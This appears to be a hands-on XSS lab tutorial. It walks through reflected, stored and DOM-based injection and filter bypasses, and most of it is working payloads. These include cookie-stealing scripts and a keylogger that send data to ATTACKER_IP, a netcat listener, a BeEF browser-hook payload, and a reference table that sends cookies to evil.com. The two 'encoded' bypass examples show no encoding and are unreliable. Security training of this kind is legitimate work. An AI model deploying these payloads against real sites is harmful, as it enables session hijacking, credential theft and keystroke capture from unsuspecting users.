🎯 Lab Objectives
- Understand the three types of XSS and their impact differences
- Detect and exploit reflected XSS in URL parameters
- Exploit stored XSS to affect all users who view a page
- Bypass common XSS filters using encoding and alternative syntax
- Steal session cookies and perform session hijacking
- Inject a keylogger to capture user input
XSS Theory
XSS (Cross-Site Scripting) occurs when an application includes user-supplied data in its output without proper encoding. An attacker can inject JavaScript that executes in other users' browsers in the context of the vulnerable site.
⚡ Reflected XSS
Payload is in the URL/request. Victim must click a malicious link. Not stored on server.
💾 Stored XSS
Payload is saved in the database. Executes for every user who views that content. Most dangerous.
🔄 DOM-Based XSS
Payload is processed by client-side JavaScript. Server never sees the payload. Harder to detect.
Step 1 — Reflected XSS
# Test for reflected XSS in a search parameter
https://target.com/search?q=<script>alert(1)</script>
# URL-encoded version
https://target.com/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
# If the page reflects your input without encoding, you have reflected XSS
# The HTML will contain:
<p>Results for: <script>alert(1)</script></p>
# Test other input types
https://target.com/page?name=<img src=x onerror=alert(1)>
https://target.com/page?redirect=javascript:alert(1)
Step 2 — Stored XSS
# Common injection points for stored XSS:
# - Comment fields
# - Forum posts / messages
# - User profile fields (name, bio)
# - Product reviews
# - Support tickets
# Basic stored XSS payload in a comment field
<script>alert(document.cookie)</script>
# Using event handlers (when script tags are blocked)
<img src="x" onerror="alert(document.cookie)">
<svg onload="alert(1)">
<body onload="alert(1)">
# The payload fires for EVERY user who views the page
# This makes stored XSS ideal for mass session hijacking
Step 3 — DOM-Based XSS
# Vulnerable JavaScript (client-side):
var name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
# Exploit via URL fragment (#)
https://target.com/page#<img src=x onerror=alert(1)>
# Common dangerous sinks (DOM locations that cause XSS):
# innerHTML, outerHTML, document.write()
# eval(), setTimeout(), setInterval()
# location.href, location.assign()
# Common sources (attacker-controlled input):
# location.hash, location.search, location.href
# document.referrer, window.name
# postMessage data
Step 4 — Filter Bypasses
# If <script> is blocked, try:
<ScRiPt>alert(1)</ScRiPt> # case variation
<scr<script>ipt>alert(1)</script> # nested tags
# Event handler bypasses
<img src=x onerror=alert`1`> # backtick instead of ()
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
# JavaScript URI
<a href="javascript:alert(1)">click</a>
# Encoding bypasses
<img src=x onerror=alert(1)> # HTML entities
<img src=x onerror=alert(1)> # unicode
# When inside an attribute value
" onmouseover="alert(1)
' onfocus='alert(1)
"/><script>alert(1)</script>
Step 5 — Cookie Theft
# Set up a listener on your attacker machine
nc -lvnp 8080
# Or use Python server:
python3 -m http.server 8080
# Cookie theft payload — sends cookie to your server
<script>
new Image().src='http://ATTACKER_IP:8080/steal?c='+document.cookie;
</script>
# More reliable version using fetch
<script>
fetch('http://ATTACKER_IP:8080/steal?cookie='+btoa(document.cookie));
</script>
# One-liner compact version
<img src=x onerror="fetch('http://ATTACKER_IP:8080/?c='+document.cookie)">
# Using XMLHttpRequest
<script>var x=new XMLHttpRequest;x.open('GET','http://ATTACKER_IP:8080/?c='+document.cookie);x.send();</script>
Step 6 — Keylogger Payload
# Keylogger that sends keystrokes to attacker server
<script>
document.addEventListener('keypress', function(e) {
new Image().src = 'http://ATTACKER_IP:8080/key?k=' + e.key;
});
</script>
# Also capture form submissions
<script>
document.forms[0].addEventListener('submit', function() {
var data = new FormData(document.forms[0]);
fetch('http://ATTACKER_IP:8080/form?' + new URLSearchParams(data));
});
</script>
Step 7 — BeEF Framework
BeEF (Browser Exploitation Framework) hooks victim browsers and provides a control panel for browser-based attacks.
# Start BeEF
sudo beef-xss
# BeEF hook payload — inject into vulnerable page
<script src="http://ATTACKER_IP:3000/hook.js"></script>
# Access control panel at:
http://ATTACKER_IP:3000/ui/panel
Default creds: beef:beef
# From BeEF panel you can:
# - Get browser info (version, plugins, extensions)
# - Scan internal network from victim's browser
# - Execute social engineering attacks
# - Take screenshots
# - Steal credentials via fake login popups
📋 XSS Payload Quick Reference
| Scenario | Payload |
|---|---|
| Basic test | <script>alert(1)</script> |
| No script tag | <img src=x onerror=alert(1)> |
| SVG | <svg onload=alert(1)> |
| Auto-focus | <input autofocus onfocus=alert(1)> |
| Inside attribute | " onmouseover="alert(1) |
| Cookie theft | <script>new Image().src='//evil.com/?c='+document.cookie</script> |
| Bypass filter | <ScRiPt>alert(1)</ScRiPt> |
| HTML entity | <img src=x onerror=alert(1)> |